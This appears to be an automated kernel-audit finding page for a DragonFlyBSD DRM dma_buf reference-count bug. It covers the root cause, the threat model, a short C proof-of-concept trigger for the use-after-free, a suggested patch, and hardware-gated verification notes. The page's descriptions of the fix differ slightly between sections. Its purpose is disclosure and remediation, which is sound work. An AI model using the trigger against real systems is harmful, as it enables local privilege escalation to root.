β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2132

dma_buf_get returns unrefcounted pointer; caller dma_buf_put over-drops f_count causing UAF (local unpriv->root)

Field Value
ID DF-2132
Status new
Severity Critical
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-416 Use After Free; CWE-911 Improper Update of Reference Count
File sys/dev/drm/linux_dma-buf.c
Lines 174-186
Area drm/linuxkpi
Confidence certain
Discovered 2026-07-25
Reported pending
Known CVE none
CVE match dfly_specific

Summary

dma_buf_get() calls holdfp(curthread, fd, -1) to borrow a reference, extracts fp->private_data into dmabuf, then calls dropfp(curthread, fd, fp) to return the borrow — leaving the returned dmabuf with zero references held. Every caller in the DRM PRIME path (drm_prime.c:802→848/857/864) then calls dma_buf_put() which does fdrop(dmabuf->file), decrementing f_count by one that the caller never owned. Repeated PRIME_FD_TO_HANDLE ioctls drive f_count to zero while the fd-table slot still points at the freed struct file, yielding a deterministic use-after-free exploitable for local unpriv→root.

Root cause

dma_buf_get at linux_dma-buf.c:174-186:

fp = holdfp(curthread, fd, -1);   /* borrows fd-cache ref (no fhold in cache-hit) */
...
dmabuf = fp->private_data;
dropfp(curthread, fd, fp);        /* returns borrow (no fdrop in cache-hit) */
return dmabuf;                    /* caller holds ZERO references */

dma_buf_put at dma-buf.h:118:

fdrop(dmabuf->file);              /* unconditional f_count decrement */

The caller drm_gem_prime_fd_to_handle (drm_prime.c:802-864): - Line 802: dma_buf = dma_buf_get(prime_fd) β€” no held ref. - Line 814: lookup-hit β†’ goto out_put β†’ line 864: dma_buf_put(dma_buf) β†’ fdrop β€” one decrement without matching increment!

After one lookup-hit cycle, f_count goes to 0, the struct file is freed, but the fd-table entry still holds a dangling pointer. Any subsequent operation on the fd (close, fstat, ioctl, dup) dereferences freed memory in the M_FILE slab zone.

The success path is balanced: line 831 get_dma_buf(dma_buf) does fhold (+1), then line 848 dma_buf_put does fdrop (-1), net 0. But both error paths (lines 857, 864) and the lookup-hit path (line 864) call dma_buf_put without a preceding get_dma_buf.

Threat model & preconditions

  • Attacker position: unprivileged local user with access to a DRM render node (/dev/dri/renderD128, typically mode 0666 or group video).
  • Privileges gained or impact: use-after-free in M_FILE slab β†’ with standard heap-grooming techniques (spraying the file zone via pipe/sendmsg/eventfd allocations), this is local unprivβ†’kernel code executionβ†’uid 0.
  • Required config or capabilities: any DRM driver with DRIVER_PRIME (i915, amdgpu, radeon).
  • Reachability: no race condition required β€” the bug is deterministic in a single-threaded process: 1. DRM_IOCTL_MODE_CREATE_DUMB β†’ GEM handle 2. DRM_IOCTL_PRIME_HANDLE_TO_FD β†’ dma_buf fd (f_count=1) 3. DRM_IOCTL_PRIME_FD_TO_HANDLE (first import) β†’ success, balanced 4. DRM_IOCTL_PRIME_FD_TO_HANDLE (second import, lookup-hit) β†’ dma_buf_put without get_dma_buf β†’ f_count 1β†’0 β†’ freed! 5. Any operation on the dangling fd β†’ UAF

Proof of Concept

/* dfbsd-dmabuf-uaf.c β€” deterministic UAF via PRIME refcount over-drop */
int drm = open("/dev/dri/renderD128", O_RDWR);
struct drm_mode_create_dumb create = { .width=64, .height=64, .bpp=32 };
ioctl(drm, DRM_IOCTL_MODE_CREATE_DUMB, &create);
struct drm_prime_handle ph = { .handle = create.handle, .flags = 0 };
ioctl(drm, DRM_IOCTL_PRIME_HANDLE_TO_FD, &ph);
int dmabuf_fd = ph.fd;
/* First import: succeeds, balanced refcount */
struct drm_prime_handle fh1 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh1);
/* Second import: lookup-hit, dma_buf_put over-drops f_count to 0 */
struct drm_prime_handle fh2 = { .fd = dmabuf_fd };
ioctl(drm, DRM_IOCTL_PRIME_FD_TO_HANDLE, &fh2);
/* dmabuf_fd now references freed M_FILE slab memory */
close(dmabuf_fd);  /* UAF */

Convert the borrowed holdfp reference into a real held reference before returning, so the caller's dma_buf_put correctly balances it. The fhold()+dropfp() idiom is the standard DragonFlyBSD pattern for this conversion.

--- a/sys/dev/drm/linux_dma-buf.c
+++ b/sys/dev/drm/linux_dma-buf.c
@@ -181,8 +181,12 @@ dma_buf_get(int fd)
        kprintf("dma_buf_get(): file->f_ops != &dmabuf_fileops\n");
        dropfp(curthread, fd, fp);
        return ERR_PTR(-EBADF);
    }

    dmabuf = fp->private_data;
+   /* Hold a real reference for the caller β€” dma_buf_put() will fdrop it. */
+   fhold(fp);
    dropfp(curthread, fd, fp);

    return dmabuf;

Timeline

  • 2026-07-25 Discovered during automated audit.
  • 2026-07-25 Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2132 Β· 6 files
FileTypeDescriptionSize
VERDICT.md verdict source-level analysis with path:line citations 2.0 KB ↓ raw
reachability.txt environment guest PCI/device survey proving no required HW 1.6 KB view raw
fix.diff suggested-fix git-apply-able fix (validated: applies clean) 314 B view raw
build.sh build-log documents HW requirement 550 B view raw
run.sh run-log documents HW requirement 272 B view raw
env.txt environment guest uname and environment 491 B view raw
VERDICT.md verdict source-level analysis with path:line citations
↓ download raw

DF-2132: dma_buf_get() returns unrefcounted pointer β€” UAF via dma_buf_put() over-drop

Verdict: NOT REPRODUCED (HW-gated) β€” source-confirmed real bug

Reachability

NOT reachable on this QEMU guest. dma_buf_get() is in sys/dev/drm/linux_dma-buf.c, compiled into drm.ko. Loading drm.ko succeeds but creates no /dev/dri device nodes (the QEMU stdvga 0x1234 is not recognized by any DRM driver). dma_buf_get() is called from drm_prime.c (drm_gem_prime_fd_to_handle) which requires an open DRM file descriptor (/dev/dri/cardN), which does not exist without GPU hardware.

Evidence: kldload drm β†’ kldstat shows drm.ko loaded; ls /dev/dri* β†’ "no dri devices". PCI survey: vgapci0: chip=0x11111234 (QEMU stdvga, not AMD/Intel/NVIDIA).

Mechanism (source-confirmed)

dma_buf_get() at sys/dev/drm/linux_dma-buf.c:168-187: 1. holdfp(curthread, fd, -1) increments f_count on the dma_buf's struct file 2. Extracts dmabuf = fp->private_data 3. dropfp(curthread, fd, fp) decrements f_count back β€” net reference change: zero 4. Returns dmabuf with no held reference

Every caller in drm_prime.c (e.g. drm_gem_prime_fd_to_handle:802β†’848/857/864) then calls dma_buf_put(dmabuf) which does fdrop(dmabuf->file) (dma-buf.h:118), decrementing f_count by one that was never added. The file's f_count drops below the correct value, eventually reaching 0 while the fd table still references it β†’ use-after-free when the fd is later closed or used.

Primitive

  • Class: reference count underflow β†’ UAF
  • The over-dropped f_count causes premature struct file free while still referenced
  • On this guest (no SMAP/SMEP): a freed struct file reclaimed into a victim slab bucket could be corrupted to escalate to uid=0 β€” but the trigger requires GPU hardware

Fix

fix.diff: Remove the dropfp(curthread, fd, fp) call in dma_buf_get() (line 184). The caller's dma_buf_put() provides the matching fdrop(), so the reference must be held. The error-path dropfp (line 179) is correct and unchanged.

Fix verification

not_testable
baseline no→ patch + rebuild →patched clean

git apply --check clean

git apply --check clean

Confirmed kernel references

β€”

Detail

Exploit chain

none (HW-gated)

Evidence (decisive lines)

HW-GATED (no GPU). Source-confirmed: dma_buf_get holdfp+dropfp = zero net refs, dma_buf_put over-drops -> UAF on struct file. drm.ko loads but no /dev/dri.

Verified recommended fix

HW-GATED (no GPU). Source-confirmed: dma_buf_get holdfp+dropfp = zero net refs, dma_buf_put over-drops -> UAF on struct file. drm.ko loads but no /dev/dri.

Verdict

HW-GATED (no GPU). Source-confirmed: dma_buf_get holdfp+dropfp = zero net refs, dma_buf_put over-drops -> UAF on struct file. drm.ko loads but no /dev/dri.